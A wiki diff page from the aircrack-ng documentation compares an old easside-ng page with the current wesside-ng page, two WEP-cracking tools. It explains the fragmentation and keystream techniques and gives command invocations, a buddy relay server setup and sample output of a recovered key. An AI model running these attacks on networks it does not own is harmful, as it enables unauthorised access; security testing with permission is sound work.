User Tools

Site Tools


wesside-ng

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revision Previous revision
Next revision
Previous revision
wesside-ng [2007/07/21 20:30]
darkaudax major update of content.
wesside-ng [2018/03/11 18:57] (current)
mister_x Updated links to tickets
Line 1: Line 1:
-====== ​Easside-ng ====== +====== ​Wesside-ng ======
- +
-++++++ IMPORTANT ++++++\\ +
-++++++ IMPORTANT ++++++\\ +
-++++++ IMPORTANT ++++++\\ +
- +
-This functionality will be available in a future release. It is NOT available currently. +
- +
-++++++ IMPORTANT ++++++\\ +
-++++++ IMPORTANT ++++++\\ +
-++++++ IMPORTANT ++++++\\ +
  
 ===== Description ===== ===== Description =====
  
-Easside-ng is an auto-magic tool which allows you to communicate via an WEP-encrypted access point (AP) without knowing the WEP key.  It first identifies a network, then proceeds to associate with it, obtain PRGA (pseudo random generation algorithm) xor data, determine the network IP scheme and then setup a TAP interface so that you can communicate with the AP without requiring ​the WEP key.  All this is done without your intervention+Wesside-ng is an auto-magic tool which incorporates a number of techniques ​to seamlessly obtain a WEP key in minutes.  It first identifies a network, then proceeds to associate with it, obtain PRGA (pseudo random generation algorithm) xor data, determine the network IP scheme, reinject ARP requests ​and finally determine ​the WEP key.  All this is done without your intervention.
- +
-There are two primary papers "The Fragmentation Attack in Practice" ​ by Andrea Bittau and "The Final Nail in WEP's Coffin"​ by Andrea Bittau, Mark Handley and Josua Lockey which are of interest. ​ See the the [[http://​aircrack-ng.org/​doku.php?​id=links|links page]] for these papers and more.  The papers referenced provide excellent background information if you would like to understand the underlying methodologies. ​ The concepts for the fragment attack currently incorporated in aircrack-ng came from these papers. +
- +
-In order to access the wireless network without knowing the WEP key is done by having the AP itself decrypt the packets. ​ This is achieved having a "​buddy"​ process running on a server accessible on the Internet. ​ This "​buddy"​ server echoes back the decrypted packets to the system running easside-ng. ​ This imposes a number of critical requirements for easside-ng to work: +
- +
-  * The target access point must be able to communicate with the Internet. +
-  * A "​buddy"​ server must exist on the Internet without firewalling of the port used by easside-ng. ​ The default is TCP and UDP port 6969. +
-  * The system running easside-ng must have access to the Internet and be able to communicate with the "​buddy"​ server. +
- +
-There are two overall phases: +
- +
-  * Establish basic connectivity between easside-ng, buddy server and the access point. +
-  * Communication with the WIFI network. +
- +
-Each phase will be described in more detail in the following sections.+
  
 +The original wesside tool was written by Andrea Bittau and was a proof-of-concept program to accompany two published papers. ​ The two papers are "The Fragmentation Attack in Practice" ​ by Andrea Bittau and "The Final Nail in WEP's Coffin"​ by Andrea Bittau, Mark Handley and Josua Lockey. ​ See the the [[links|links page]] for these papers and more.  The papers referenced provide excellent background information if you would like to understand the underlying methodologies. ​ The concepts for the fragment attack currently incorporated in aircrack-ng came from these papers.
  
-==== Establish Connectivity ====+For you trivia buffs, who knows where the program name "​wesside"​ came from?  As it turns out, it comes from tupac the rapper (2Pac / Tupac Shakur).
  
-Here are the steps which essside-ng performs during the establishing connectivity phase:+Wesside-ng has been updated to reflect advances in determining the WEP key.  ​Here are the steps which wesside-ng takes:
  
   - Channel hops looking for a WEP network.   - Channel hops looking for a WEP network.
-  - Once a network is found, it tries to authenticate.+  - Once a network is found, it tries to authenticate.  If authentication fails, then the program attempts to find a MAC address currently associated with the AP to spoof.
   - Once the program has successfully authenticated then it associates with the AP.   - Once the program has successfully authenticated then it associates with the AP.
-  - After sniffing a single data packet, it proceeds to discover at least 1504 bytes of PRGA by sending out larger broadcasts and intercepting the relayed packets. ​ This is what is known as the fragmentation attack. ​ The PRGA is written to the prga.log file. +  - After sniffing a single data packet, it proceeds to discover at least 128 bytes of PRGA by sending out larger broadcasts and intercepting the relayed packets. ​ This is what is known as the fragmentation attack. ​ The PRGA is written to the prga.log file. 
-  - It then decrypts the IP network ​by guessing the next three bytes of PRGA using multicast frames and the linear keystream expansion technique. ​ By decrypting the ARP request, the network number scheme can be determined. ​ This is used to build the ARP request which is used for subsequent injection.  ​Easside-ng can also use an IP packet to determine ​the IP network ​as well, it just takes a bit longer. +  - After it sniffs an ARP request, it decrypts the IP  ​address ​by guessing the next four bytes of PRGA using multicast frames and the linear keystream expansion technique. ​ By decrypting the ARP request, the network number scheme can be determined ​plus the source IP of ARP request.  This is used to build the ARP request which is used for subsequent injection. 
-  - It creates a permanent TCP connection ​with the "​buddy"​ server and verifies connectivity. +  ​- ​It floods ​the network with ARP requests ​for the decrypted ​IP address
-  - ARPs to get the MAC addresses ​for the router and source IP.  The defaults are .1 for the router and .123 for the client ​IP. +  - Launches ​the [[aircrack-ng|aircrack-ng PTW attack]] to determine ​the WEP key.  ​
-  - It then tests connectivity via the access point and determines ​the Internet IP address that the AP uses.  ​It also lists the round trip time of the test packets. ​ This gives you an idea of the quality of connection. +
-  - The TAP interface is then created.+
  
-At this point, you run "​ifconfig at0 up" and you are now able to communicate with any host on the wifi network via this TAP interface. ​ Notice that you don't need a WEP key to do this!  The TAP interface is a virtual interface that acts as if it were the wifi interface with the correct WEP key configured. ​ You can assign an IP, use DHCP with it and so on. +So you may be asking "What is the linear keystream expansion technique?"​. ​ The foundation is the fact that packets like an encrypted ARP request can easily be identified combined with the fact that the start of it has known plain text.  So the program first obtains the PRGA from known plain text portion of the ARP request. Then it creates a new ARP request packet broken into two fragments. ​ The first fragment is one more byte then the know PRGA and the PRGA is guessed for the extra byte.  These guesses are sent and the program listens to see which one is replayed by the AP.  The replayed packet has the correct PRGA and this value was included in the destination multicast address. ​ Now that we know the correct PRGA, one more byte can be decrypted in the original ARP request. ​ This process is repeated until the sending IP in the original ARP request is decrypted. ​ It takes a maximum of 256 guesses to determine the correct PRGA for a particular byte and on average only 128 guesses.
- +
- +
-==== What role does the buddy server play? ==== +
- +
-The following is a simplistic description. ​ A very detailed description of the steps to decrypt packets is included in later sections. +
- +
-  * You sniff packet X on the wifi and it is encrypted. +
-  * If say, that packet was going to cnn.com, then on the Internet it would arrive in clear-text. ​ The Internet does not use WEP. +
-  * The idea is to retransmit that packet, but instead of sending it to its original destination (cnn.com) we send it to our buddy on the Internet. +
-  * The buddy gets it in clear-text (the AP will decrypt packet before sending to the internet) and sends it back to us. +
- +
- +
-==== Communication with the WIFI network ==== +
- +
-The following describes this diagram in more detail.  +
-\\  +
-\\  +
-\\  +
-{{ http://​www.aircrack-ng.org/​img/​easside-buddy-server.png?​600x200 }} +
-\\  +
-\\  +
-So you may be asking "What is the magic? ​ How can you access the WIFI network without knowing the WEP key?"​. ​ The method is quite simple yet ingenious. +
- +
-Lets look at the details of sending and receiving packets via the at0 TAP interface. +
- +
-Sending packets: +
- +
-  *  A packet ​ is given to the at0 (TAP interface) based on the local network routing table. ​ Depending on what destination IP address you are trying to communicate with, you may have to manually add static routing entries. ​ By default, the wifi network is added to the routing table for you. +
-  * The TAP interface hands the packet over to easside-ng +
-  * Easside-ng then encrypts it for injection using the PRGA gathered in the initial connectivity phase. +
-  * Easside-ng then injects the packet into the wifi network via the wireless device. +
- +
-Receiving packets: +
- +
-  * A source device (wired or wireless) sends a packet destined for the IP assigned to the ath0 interface or to a broadcast destination. ​ The AP transmits the packet into the air. +
-  * Easside-ng constantly listens to the packets being transmitted by the AP.  It then processes packets addressed to the TAP IP based on the MAC address or broadcasts. +
-  * For each packet it needs to process, the packet must first be decrypted. ​ This will be done in multiple steps. ​ The steps follow. +
-  * Easside-ng creates a new packets composed of two fragments. ​ The first fragment has no data, it simply has the destination IP of the buddy-server. ​ This fragment is encrypted using the PRGA (keystream). ​ The second fragment contains the packet to be decrypted. ​ Since this packet is already encrypted, it is used "as is"​. ​ This new packet consistently of two fragments is then injected into the wifi network. +
-  * The AP receives the fragmented packet, decrypts each fragment and reassembles the fragments into a single packet. ​ Since the destination IP of the reassembled packet is the buddy-server,​ it forwards it to the buddy server. ​ You should note that the AP was kind enough to decrypt the packet for you! +
-  *  The buddy server receives the decrypted packet from the AP by UDP.  It then resends the decrypted information back to easside-ng. +
-  *  Easside-ng then sends the decrypted packet out the at0 (TAP) interface. +
- +
- +
-==== Fragmentation Technique ==== +
- +
-This section provides a brief explanation of the fragmentation technique used in easside-ng. +
- +
-This technique, when successful, can obtain 1504 bytes of PRGA (pseudo random generation algorithm). This attack does not recover the WEP key itself, but merely obtains the PRGA. The PRGA can then be used to encrypt packets you want to transmit. ​ It requires at least one data packet to be received from the access point in order to initiate the attack. +
- +
-Basically, the program obtains a small amount of keying material from the packet then attempts to send packets with known content to the access point (AP).  If the packet is successfully echoed back by the AP then a larger amount of keying information can be obtained from the returned packet. ​ This cycle is repeated several times until 1504 bytes of PRGA are obtained. +
- +
-The original paper, [[http://​darkircop.org/​bittau-wep.pdf|The Fragmentation Attack in Practice]], by Andrea Bittau provides a much more detailed technical description of the technique. ​ A local copy is located [[http://​wiki-files.aircrack-ng.org/​doc/​Fragmentation-Attack-in-Practice.pdf|here]]. ​ Here are [[http://​darkircop.org/​frag.pdf|presentation slides]] of a related paper. ​ A local copy of the slides is located [[http://​wiki-files.aircrack-ng.org/​doc/​Final-Nail-in-WEPs-Coffin.slides.pdf|here]]. ​ Also see the paper "The Final Nail in WEP's Coffin"​ on this page. +
- +
- +
-==== Linear Keystream Expansion Technique ==== +
- +
-This section provides a brief explanation of the linear keystream expansion technique used in easside-ng. +
- +
-So you may also be asking "What is the linear keystream expansion technique?"​. ​ The foundation is the fact that packets like an encrypted ARP request can easily be identified combined with the fact that the start of it has known plain text. +
- +
-The program first obtains the PRGA from known plain text portion of the ARP request. Then it creates a new ARP request packet broken into two fragments. ​ The first fragment is one more byte then the know PRGA and the PRGA is guessed for the extra byte.  These guesses are sent and the program listens to see which one is replayed by the AP.  The replayed packet has the correct PRGA and this value was included in the destination multicast address. ​ Now that we know the correct PRGA, one more byte can be decrypted in the original ARP request. ​ This process is repeated until the sending IP in the original ARP request is decrypted. ​ It takes a maximum of 256 guesses to determine the correct PRGA for a particular byte and on average only 128 guesses. +
- +
-The linear keystream expansion technique (Arbaugh inductive) is reverse  +
-[[chopchop]]. ​ Chopchop decrypts packets from back to the front. ​ Linear decrypts packets from the front to the back.  Actually, chopchop is reverse Arbaugh. +
- +
- +
-==== Easside-ng compared to Wesside-ng ==== +
- +
-The companion aircrack-ng suite program to easside-ng is [[wesside-ng]]. ​ Here is a brief comparison of the two tools: +
- +
-^Feature^easside-ng^wesside-ng^ +
-|Fake Authentication to AP|Included|Included| +
-|Fragmentation attack to obtain PRGA|Included|Included| +
-|Linear Keystream Expansion Technique|Included|Included| +
-|Communication with wifi network without WEP key|Yes|No| +
-|Network ARP request flooding|No|Yes| +
-|aircrack-ng PTW attack|No|Yes| +
- +
- +
-==== Why easside-ng when aircrack-ng has PTW? ==== +
- +
-Why release easside-ng when aircrack-ng has PTW? +
- +
-  * easside-ng was private and came a year before PTW. +
-  * easside-ng is handy for a quick and stealthy attack. ​ It is significantly faster than PTW.  It's "​instant"​ and requires no flooding. +
- +
- +
-==== Limitations ====+
  
 There are a few known limitations:​ There are a few known limitations:​
-  * Only open authentication is support. Shared key authentication is not supported.+  * Only open authentication is supported. Shared key authentication is not supported.
   * Only B and G networks are supported.   * Only B and G networks are supported.
 +  * Fake MAC functionality is broken if there is a lot of traffic on the network.
  
-===== Usage =====+Please remember that this is still basically a proof-of-concept tool so you can expect to find bugs. Plus you will find features that don't quite work as expected. Consider using [[easside-ng]] as an alternative or a companion program. ​ Easside-ng is considered relatively stable software.
  
  
-Usage: easside-ng <arg> [v0]+===== Usage =====
  
-Where:+Usagewesside-ng <​opts>​ -i <​wireless interface name> 
 +  *-h              Displays the list of options. 
 +  *-i              Wireless interface name. (Mandatory) 
 +  *-n             ​Network IP as in "who has destination IP (netip) tell source IP (myip)"​. ​ Defaults to the source IP on the ARP request which is captured and decrypted. ​ (Optional) 
 +  *-m            MY IP "who has destination IP (netip) tell source IP (myip)"​. ​  ​Defaults to the network.123 on the ARP request captured(Optional) 
 +  *-a             ​Source MAC address (Optional) 
 +  *-c              Do not start aircrack-ng. ​ Simply capture the packets until control-C is hit to stop the program! ​ (Optional) 
 +  *-f              Allows the highest channel for scanning to be defined. ​ Defaults to channel 11. (Optional) 
 +  *-k              Ignores ACKs since some cards/​drivers do not report them.  It will therefore automatically retransmit X times. ​ That is, -k 1 will transmit once and assume the packet gets there. ​ -k 2 will retransmit twice, and so on.  Note: The higher the -k value, the slower transmission rate will be due to the many retransmits. ​ (Optional) 
 +  *-p              Determines the minimum number of bytes of PRGA which are gathered. ​ Defaults to 128 bytes. ​ (Optional) 
 +  *-t              For each number of IVs specified, restart the airecrack-ng PTW engine. (Optional) 
 +  *-v              Wireless access point MAC address ​ (Optional)
  
-  * -h              Displays the list of options. 
-  * -v              MAC address of the Acess Point (Optional) 
-  * -m             ​Source MAC address to be used (Optional) 
-  * -i                Source IP address to be used on the wireless LAN.  Defaults to the decoded network plus "​.123"​ (Optional) 
-  * -r                IP address of the AP router. ​ This could be the WAN IP of the AP or an actual router IP depending on the topology. Defaults to the decoded network plus "​.1"​. (Optional) 
-  * -s               IP address of the "​buddy"​ server (Mandatory) 
-  * -f                Wireless interface name. (Mandatory) 
-  * -c               Locks the card to the specified channel (Optional) 
-  * [v0]            Current version number. ​ Informational only. 
  
 +When you run wesside-ng, it creates three files automatically in the current directory:
  
-Usage: buddy-ng +  * wep.cap The packet capture file.  ​It contains ​the full packetnot just the IVs.
- +
-NOTE: There are no parameters for buddy-ng Once invoked, it listens on TCP port 6969 and UDP port 6969.  TCP is used for the permanent connection between esside-ng and buddy-ng.  ​UDP is used to receive decrypted packets from the AP. +
- +
- +
- +
-When you run easside-ngit creates a file automatically in the current directory when run the program: +
   * prga.log - Contains the PRGA obtained through the fragmentation attack. ​ The following is NOT correct. ​ It is a future feature: "This can be used as input to other aircrack-ng suite tools which require PRGA as input. ​ You can also use the PRGA from other tools for this file."   * prga.log - Contains the PRGA obtained through the fragmentation attack. ​ The following is NOT correct. ​ It is a future feature: "This can be used as input to other aircrack-ng suite tools which require PRGA as input. ​ You can also use the PRGA from other tools for this file."
 +  * key.log - Contains the WEP key when it is found.
  
- +It is very important to delete ​these files prior to starting the program when you change target access point.
-It is very important to delete ​this file prior to starting the program when you change target access point.+
  
  
 ===== Scenarios ===== ===== Scenarios =====
  
-==== Specific AP Usage Example ====+==== Standard ​Usage Example ====
  
 Be sure to use [[airmon-ng]] to put your card into monitor mode. Be sure to use [[airmon-ng]] to put your card into monitor mode.
  
-First, ​you need to start a buddy server. ​ This needs to be located on the Internet and be accessible from the system running easside-ng via TCP.  It must also be accessible from the AP via UDP.  Port 6969 cannot be firewalled on it.+Then you enter:
  
-You start the buddy sever:+   ​wesside-ng -i wlan0
  
-   ​buddy-ng+Where:
  
-It responds:+   * -i wlan0 is the wireless interface.
  
-   ​buddy-ng +The program responds:
-   ​Waiting for connexion+
  
-When easside-ng connects, it responds similar to:+   ​[13:​51:​32] Using mac 00:​C0:​CA:​17:​DB:​6A 
 +   ​[13:​51:​32] Looking for a victim... 
 +   ​[13:​51:​32] Found SSID(teddy) BSS=(00:​14:​6C:​7E:​40:​80) chan=9 
 +   ​[13:​51:​32] Authenticated 
 +   ​[13:​51:​32] Associated (ID=5) 
 +   ​[13:​51:​37] Got ARP request from (00:​D0:​CF:​03:​34:​8C) 
 +   ​[13:​51:​37] Datalen 54 Known clear 22 
 +   ​[13:​51:​37] Got 22 bytes of prga IV=(0e:​4e:​02) PRGA=A5 DC C3 AF 43 34 17 0D 0D 7E 2A C1 44 8A DA 51 A4 DF BB C6 4F 3C  
 +   ​[13:​51:​37] Got 102 bytes of prga IV=(0f:​4e:​02) PRGA=17 03 74 98 9F CC FB AA A1 B3 5B 00 53 EC 8F C3 BB F7 56 21 09 95 12 70 24 8C C0 16 40 9F A8 BD BA C4 CC 18 04 A1 41 47 B3 22 8B D2 42 DC 71 54 CE AD FE D0 C3 15 7E EB D1 E2 BB 69 7F 11 8A 99 40 FC 75 EC 12 BF 3B C8 2A 32 88 8A DC E8 35 7C EE DA A3 E3 6B 0C 45 21 DC BD 23 59 28 85 24 49 18 49 1C 24 6D E2  
 +   ​[13:​51:​37] Got 342 bytes of prga IV=(10:​4e:​02) PRGA=5C EC 18 24 F3 21 B2 74 2A 86 97 C7 4C 22 EC 42 00 3A C6 07 0C 02 AA D6 B6 D8 FF B1 16 F8 40 31 B7 95 3B F8 1B BD 94 8B 3B 7A 98 DE C6 72 FD F8 A5 FC E7 81 A0 9E 01 76 44 57 C4 EB AE D7 AB EB 2F 40 C8 E5 5F EF 13 DB F4 F7 F2 91 D9 36 77 C1 F0 9C E4 8C BA F9 50 C0 B0 E7 23 75 85 41 82 54 F5 22 3C A9 45 0C 1F AE DA 3B F7 AA 41 30 23 63 97 B1 42 4C A8 0E C0 5A 7E A2 58 C2 02 B8 7F DB C7 CC 66 4D 86 53 30 E0 A0 81 52 13 14 08 5F 45 C5 AC 21 C3 90 86 A1 8D 45 CC 7C A2 F2 95 34 EF 38 59 FA 21 0F CC 63 81 05 26 8D B8 84 A1 D3 DF 5D E0 CA 23 52 85 4F 61 5B E3 83 4B 2A 10 0A 14 94 FA 90 D4 FC 3F 7B CD A9 C3 E3 4D B7 99 BD 21 D4 FC DB 60 0C 92 8D 76 87 EF F7 45 C6 D7 0B 96 A4 18 41 63 48 79 E0 4E 3A 9F 1B 8D 17 F5 B0 FE 30 F3 27 55 E1 EA 8A 60 FA 9E CB CE D9 1D EE 94 20 20 EB 58 F8 55 38 4F C9 E7 53 55 94 6C 6A 6D F0 D5 4E DB 78 D6 52 A3 34 68 2C 8B 7A EA C8 DA 3B D9 CB 4C 65 E6 CE B8 EE CD 58 DD C1 C8 F8 08 1B 27 EC 74 7E AD A0 0E 1E 85 79 F4 C0 54 D9 99 51 CA 96 02 73 93 33 6F E6 D5 F1 55 81 2B AA C4 3A B2 0A C6 04 FE  
 +   ​[13:​51:​39] Guessing PRGA 8e (IP byte=230) ​    
 +   ​[13:​51:​39] Got clear-text byte: 192 
 +   ​[13:​51:​40] Guessing PRGA be (IP byte=198) ​    
 +   ​[13:​51:​40] Got clear-text byte: 168 
 +   ​[13:​51:​40] Guessing PRGA 8d (IP byte=47) ​     
 +   ​[13:​51:​40] Got clear-text byte: 1 
 +   ​[13:​51:​40] Guessing PRGA 12 (IP byte=240) ​    
 +   ​[13:​51:​40] Got clear-text byte: 200 
 +   ​[13:​51:​40] Got IP=(192.168.1.200) 
 +   ​[13:​51:​40] My IP=(192.168.1.123) 
 +   ​[13:​51:​40] Sending arp request for: 192.168.1.200 
 +   ​[13:​51:​40] Got arp reply from (00:​D0:​CF:​03:​34:​8C) 
 +   ​[13:​52:​25] WEP=000009991 (next crack at 10000) IV=60:62:02 (rate=115) ​            
 +   ​[13:​52:​36] WEP=000012839 (next crack at 20000) IV=21:68:02 (rate=204) ​            
 +   ​[13:​52:​25] Starting crack PID=2413 
 +   ​[13:​52:​27] WEP=000010324 (next crack at 20000) IV=0d:63:02 (rate=183) ​            
 +   ​[13:​54:​03] Starting crack PID=2415 
 +   ​[13:​53:​28] WEP=000023769 (next crack at 30000) IV=79:32:00 (rate=252) ​            
 +   ​[13:​53:​11] Starting crack PID=2414 
 +   ​[13:​53:​13] WEP=000020320 (next crack at 30000) IV=7d:2b:00 (rate=158) ​            
 +   ​[13:​54:​21] WEP=000034005 (next crack at 40000) IV=53:47:00 (rate=244) ​            
 +    
 +    
 +                                [328385:​55:​08] Tested 5/70000 keys 
 +    
 +   ​KB ​   depth   ​byte(vote) 
 +    0    0/  1   01( 206) 3B( 198) 5F( 190) 77( 188) 3D( 187) D2( 187) 60( 186) 6F( 186) A1( 185) 48( 184)  
 +    1    0/  1   23( 232) 82( 190) BF( 187) 4E( 184) 0D( 183) 90( 181) B9( 181) 08( 180) 1A( 180) 8A( 180)  
 +    2    0/  1   45( 200) F0( 186) 52( 184) AE( 184) 75( 183) 48( 181) A1( 180) 71( 179) DE( 179) 21( 178)  
 +    3    0/  1   67( 221) AE( 202) B2( 193) 14( 191) 51( 184) 6D( 184) 64( 183) 65( 183) 5B( 182) 17( 181)  
 +    4    0/  5   89( 182) DB( 182) 74( 181) C2( 181) CC( 181) 64( 180) CD( 180) 5F( 179) A6( 179) 1A( 178)  
 +    
 +   Key: 01:​23:​45:​67:​89 
 +    
 +    
 +    
 +   ​[13:​54:​51] WEP=000040387 (next crack at 50000) IV=0d:a0:02 (rate=180) ​            
 +   ​[13:​55:​08] WEP=000043621 (next crack at 50000) IV=da:5a:00 (rate=136) ​            
 +   ​[13:​55:​08] Stopping crack PID=2416 
 +   ​[13:​55:​08] KEY=(01:​23:​45:​67:​89) 
 +    
 +   Owned in 3.60 minutes 
 +    
 +   ​[13:​55:08] Dying...
  
-   Got connection from 10.113.65.187 
-   ​Handshake complete 
-   Inet check by 10.113.65.187 1 
  
-The IP 10.113.65.187 above is the IP of the system running easside-ng.+===== Usage Tips =====
  
 +==== Using the -k option ====
  
-Now run easside-ng:+Some cards/​drivers do not properly report ACKs.  The "​-k"​ option allows ACKs to be ignored and forces wesside-ng to retransmit the packets the number of times specified. ​ It will therefore automatically retransmit X times. ​ That is, -k 1 will transmit once and assume the packet gets there. ​ -k 2 will retransmit twice, and so on.  NoteThe higher the -k value, the slower transmission rate will be due to the many retransmits.
  
-   ​easside-ng -f ath0 -v 00:14:​6C:​7E:​40:​80 -c 9  -s 10.116.23.144+Some specific cases:
  
-Where:+  * If you get MAX retransmits error, try -k 1. 
 +  * If you have a poor connection, try -k 3.
  
-  * -f ath0                                This is the wireless interface name. +In general, you can experiment with different values to determine if it resolves ​the problem.  ​There is no right or wrong value.
-  * -v 00:​14:​6C:​7E:​40:​80 ​    ​The ​is the MAC address of the AP. +
-  *  -c 9                                    This is the channel the AP is on. +
-  *  -s 10.116.23.144 ​           This is the buddy server IP.+
  
-The system responds: 
  
-   ​Setting tap MTU +===== Usage Troubleshooting =====
-   ​Sorting out wifi MAC +
-   MAC is 00:​08:​D4:​86:​7E:​98 +
-   ​Setting tap MAC +
-   ​[14:​40:​06.596419] Ownin...+
  
-   SSID teddy Chan 9 Mac 00:​14:​6C:​7E:​40:​80 +==== General ====
-   ​Sending auth request +
-   ​Authenticated +
-   ​Sending assoc request +
-   ​Associated:​ 1 +
-   ​Assuming ARP 54 +
-   ​[14:​40:​13.537842] Got 22 bytes of PRGA IV [4B:​02:​00] +
-   ​[14:​40:​13.545021] Got 58 bytes of PRGA IV [4C:​02:​00] +
-   ​[14:​40:​13.648670] Got 166 bytes of PRGA IV [4D:​02:​00] +
-   ​[14:​40:​13.753087] Got 490 bytes of PRGA IV [4E:​02:​00] +
-   ​[14:​40:​13.863819] Got 1462 bytes of PRGA IV [4F:​02:​00] +
-   ​[14:​40:​13.966753] Got 1504 bytes of PRGA IV [50:​02:​00] +
-   ​Assuming ARP 36 +
-   ​[15:​23:​42.047332] Guessing prga byte 22 with 16 +
-   ARP IP so far: 192 +
-   ​[15:​23:​42.749330] Guessing prga byte 23 with 3F +
-   ARP IP so far: 192.168 +
-   ​[15:​23:​43.815329] Guessing prga byte 24 with 60 +
-   ARP IP so far: 192.168.1 +
-   My IP 192.168.1.123 +
-   Rtr IP 192.168.1.1 +
-   ​Sending who has 192.168.1.1 tell 192.168.1.123 +
-   Rtr MAC 00:​14:​6C:​7E:​40:​80 +
-   ​Trying to connect to buddy: 10.116.23.144:​6969 +
-   ​Connected +
-   ​Handshake compl33t +
-   ​Checking for internet... 1 +
-   ​Internet w0rx.  Public IP 10.113.65.187 +
-   Rtt 77ms+
  
-At this point, you need to bring up the TAP interface:+Make sure your card is in monitor mode.
  
-   ​ifconfig at0 up+Make sure your card can inject by testing it with the [[injection_test|aireplay-ng injection test]]. ​ Also specifically ensure you can communicate with the AP in question.
  
-Now you can send and receive packets to and from the AP network which in this case is 192.168.1.0/​24 via the at0 inteface.  ​Notice that you don't need a WEP key to do this!  The TAP interface is a virtual interface that acts as if it were the wifi interface with the correct WEP key configured. ​ You can assign an IP, use DHCP with it and so on.  By default, ​the at0 interface is assigned the network obtained at the start plus "​.123"​.+Make sure your card supports ​the fragmentation attack.  ​Again, ​this can be confirmed ​with the aireplay-ng injection test.
  
 +Make sure to delete wep.cap, prga.log and key.log files if you are changing access points or if you want to restart cleanly. ​ In general, if you have problems, it is a good idea to delete them.
  
-==== Specific AP Usage Example ====+There are a few known limitations:​ 
 +  * Only open authentication is supported. ​ Shared key authentication is not supported. 
 +  * Only B and G networks are supported. 
 +  * Fake MAC functionality is broken if there is a lot of traffic on the network.
  
-The "Specific AP Usage Example" ​is for targeting a single Access Point on a specific channel. ​ You can also let easside-ng scan for APs by using "​easside-ng -f ath0 -s 10.116.23.144"​.+==== "ERROR Max retransmits" ​message ====
  
 +You get an error similar to the following while running the program:
  
-===== Usage Tips =====+[18:23:49] ERROR Max retransmits for (30 bytes): 
 +B0 00 FF 7F 00 1A 70 51 B0 70 00 0E 2E C5 81 D3 00 1A 70 51 B0 70 00 00 00 00 01 00 00 00 
  
-==== Combining easside-ng and wesside-ng ====+This can be caused if the AP does not acknowledge the the packets you are sending. ​ Try getting closer to the AP.
  
-As you may know, wesside-ng is proof-of-concept ​tool which is rich in functionality,​ but is not as stable ​and bug-free compared to easside-ng.  ​You can combine the strengths of [[wesside-ng]] and easside-ng together.+Another reason is that the internal state machine of wesside-ng is confused. ​ This typically happens when there are other wireless packets picked up and the state machine does not properly interpret them.  Remember, this is still proof-of-concept ​code and not completely ​stable.  ​Just try rerunning ​wesside-ng.
  
-First run easside-ng to obtain the prga file.  Then run wesside-ng to flood the network and obtain the WEP key.  It is really that simple! 
  
 +==== RT73 chipset and "ERROR Max retransmits"​ message ====
  
-==== Demonstrating Insecurity! ====+If you are using the RT73 chipset, try adding the "-k 1" option. ​ The driver for this chipset does not properly report ACKs.  Using the "-k 1" option gets around this.
  
-IMPORTANT: You must have written permission from the owner of the AP prior to using the instructions in this section. ​ It is illegal to access networks which do not belong to you. 
  
-A clever way to demonstrate the insecurity of WEP networks and access points:+==== Known Bugs ====
  
-  * Use easside-ng to create an access mechanism to the WIFI network. +There are a variety ​of known bugs which are outlined below.  ​Additionally, the state engine ​is known to be broken ​and this leads to unpredictable results.
-  * Log into the AP with your favourite browser and obtain the WEP key.  99% of the time, the APs have default ids and passwords. ​ Many times there are no passwords set. +
-  * Now you can configure your wireless card with the WEP key and access the network normally.  +
- +
- +
-===== Usage Troubleshooting ===== +
- +
-Make sure your card is in monitor mode. +
- +
-Make sure your card can inject by testing it with the [[http://​aircrack-ng.org/​doku.php?​id=injection_test|aireplay-ng injection test]]. ​ Also specifically ensure you can communicate with the AP in question. +
- +
-Make sure your card supports the fragmentation attack. ​ Againthis can be confirmed with the aireplay-ng injection test. +
- +
-Make sure to delete prga.log if you are changing access points or if you want to restart cleanly. ​ In general, if you have problems, it is a good idea to delete it. +
- +
-There are a few known limitations:​ +
-  * Only open authentication is support. ​ Shared key authentication is not supported. +
-  * Only B and G networks are supported.+
  
 +  * [[https://​github.com/​aircrack-ng/​aircrack-ng/​issues/​306|Errors in wesside-ng with madwifi-ng]]
 +  * [[https://​github.com/​aircrack-ng/​aircrack-ng/​issues/​303|"​Error Wrote 39 out of 30" error message from wesside-ng]]
 +  * [[https://​github.com/​aircrack-ng/​aircrack-ng/​issues/​295|wesside-ng finds, and attempts to process, WPA APs]]
wesside-ng.1185042647.txt.gz · Last modified: 2007/07/21 20:30 by darkaudax